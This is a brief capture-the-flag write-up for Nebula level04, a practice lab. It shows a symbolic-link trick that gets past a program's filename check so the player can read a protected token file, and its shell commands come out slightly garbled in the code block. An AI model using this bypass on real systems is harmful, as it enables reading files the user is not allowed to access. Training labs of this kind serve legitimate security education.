Exploit Exercises Nebula 5: Level 04 Write Up
Level: https://exploit-exercises.com/nebula/level04/
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)
To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.
We can bypass this check by creating a symbolic link.
|
1 2 3 |
ln -s /home/flag04/token /home/level04/foo /home/flag04 /home/level04/foo |
And you’ll see the token in the output.